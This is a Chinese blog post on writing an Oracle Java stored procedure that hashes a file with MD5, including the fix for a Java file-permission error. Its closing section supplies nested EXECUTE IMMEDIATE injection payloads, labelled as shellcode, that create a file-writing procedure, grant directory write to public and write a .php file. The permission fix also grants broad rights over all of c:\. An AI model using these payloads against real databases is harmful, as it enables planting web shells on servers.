java儲存過程根據檔案的內容返回一個MD5值

zhanglincon發表於2009-04-30

今天要做一個java儲存過程,實現功能:根據檔案的內容返回一個MD5值。

開發工具:Eclipse+PL/SQL Developer

步驟如下:
1. 編寫Java原始碼,並裝載到Oracle 8i資料庫

create or replace and compile java source named java_md5 as
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStreamReader;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.AccessControlException;

public class Java_MD5
{
  private final static String[] hexDigits = {"0", "1", "2", "3", "4",  
      "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f"};

  /**
   * 根據帶路徑的檔名返回檔案內容的字串
   * @param fileName
   * @return
   */
  /*private static String readFile(String fileName) {
      String s = "";
      StringBuffer sb = new StringBuffer();
      File inFile = new File(fileName);
      BufferedReader in = null;
      try {
        in = new BufferedReader(new InputStreamReader(new FileInputStream(inFile),"EUC_CN"));
      }
      catch (Exception e) {
        e.printStackTrace();
      }
      try {
        while ( (s = in.readLine()) != null) {
             sb.append(s);
        }
        in.close();
      }
      catch (Exception e) {
        e.printStackTrace();
      }
     
      return sb.toString();
    }
  */
 
    private static String readFile(String fileName) {

 File inFile = new File(fileName);

 if(inFile.exists()){//檢查File.txt是否存在
       String s = "";
       StringBuffer sb = new StringBuffer();
       //File inFile = new File(fileName);
       BufferedReader in = null;
       try {
         in = new BufferedReader(new InputStreamReader(new FileInputStream(inFile),"EUC_CN"));
       }
       catch (Exception e) {
         e.printStackTrace();
       }
       try {
         while ( (s = in.readLine()) != null) {
              sb.append(s);
         }
         in.close();
       }
       catch (Exception e) {
         e.printStackTrace();
       }
       return sb.toString();
 }else{
  return "66";
 }
}
  /**  
   * 轉換位元組陣列為十六進位制字串 
   * @param     位元組陣列 
   * @return    十六進位制字串 
   */ 
  private static String byteArrayToHexString(byte[] b){  
      StringBuffer resultSb = new StringBuffer();  
      for (int i = 0; i < b.length; i++){  
          resultSb.append(byteToHexString(b[i]));  
      }  
      return resultSb.toString();  
  }
 
  /** 將一個位元組轉化成十六進位制形式的字串     */ 
  private static String byteToHexString(byte b){  
      int n = b;  
      if (n < 0)  
          n = 256 + n;  
      int d1 = n / 16;  
      int d2 = n % 16;  
      return hexDigits[d1] + hexDigits[d2];  
  }  

  public static String MD5( String FileName )
  {
    try
    {
       String newString=Java_MD5.readFile( FileName );
     
        //建立具有指定演算法名稱的資訊摘要
    MessageDigest md = MessageDigest.getInstance( "MD5" );
    
    //使用指定的位元組陣列對摘要進行最後更新,然後完成摘要計算
    byte[] mymd5 = md.digest(newString.getBytes());
    
    //將得到的位元組陣列變成字串返回
    String resultString = byteArrayToHexString(mymd5);   
    
    return resultString.toUpperCase();
   } catch (NoSuchAlgorithmException e) {
    
    return "0";
   }
   /*    catch(AccessControlException ex){
    return "0";
   }*/
  }
}

2,建立包規範和包體

create or replace package PK_Check is

    Function Fn_File_MD5( iFileName In Varchar2 ) Return Varchar2;
   
end PK_Check;

create or replace package body PK_Check is

Function Fn_File_MD5( iFileName In Varchar2 ) Return Varchar2 As Language Java Name 'Java_MD5.MD5( java.lang.String ) return java.lang.String';

begin
     Null;
end PK_Check;

 

3,呼叫JSP

在生成了呼叫Java方法的包後,就可以呼叫這些方法所對應的函式和過程了。例如:

begin
  -- Call the function
  :result := pk_check.fn_file_md5(ifilename => :ifilename);
end;

但是在測試過程中總是報如下錯誤

ORA-29532: Java 呼叫被未捕獲的 Java 例外終止: java.security.AccessControlException: the Permission (java.io.FilePermission c:\c.txt read) has not been granted by dbms_java.grant_permission to SchemaProtectionDomain(AAT|PolicyTableProxy(AAT))

沒關係,java在oracle也是需要許可權的,我們需要把相關的許可權給它才可以哦!在Oracle裡這樣操作的

1,檢查你的執行使用者的許可權

select * from user_java_policy

2,賦許可權

begin dbms_java.grant_Permission('AAT','java.io.FilePermission','c:\*','read,write,execute,delete');end;

這樣就OK了!

    各個伺服器可能設定不一樣,根據他提示要求的許可權賦予給它就可以了。
    當然,當資料庫在本機的時候,利用系統中存在的utl_file包寫一個檔案也是可以的。這裡提供簡單的,可以作為shellcode.txt裡執行的程式碼

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as fd utl_file.file_type;begin    fd := utl_file.fopen(p_directory, p_filename, ''''a''''); utl_file.put_line(fd, p_line);    if (utl_file.is_open(fd) = true) then        utl_file.fclose(fd);    end if;end;'';END;';

    這是建立能寫檔案的utlwritefile儲存過程,注意這裡的目錄是oracle裡的虛擬目錄,不是物理目錄,我們需要自己建立一個虛擬目錄並且給予相關的許可權

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''create or replace directory utl_dir_new as ''''f:/inc/'''''';END;';

    這裡假設需要寫東西到f:/inc裡,建立了個utl_dir_new的oracle目錄,然後給許可權

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''grant write on directory utl_dir_new to public;'';END;';

    EXECUTE IMMEDIATE 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''begin utlwritefile(''''UTL_DIR_NEW'''',''''1.php'''',''''test'''');end;'';END;';

    注意UTL_DIR_NEW的大小寫,這裡寫了個test到UTL_DIR_NEW裡面的1.php裡。

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/8554499/viewspace-592384/,如需轉載,請註明出處,否則將追究法律責任。

相關文章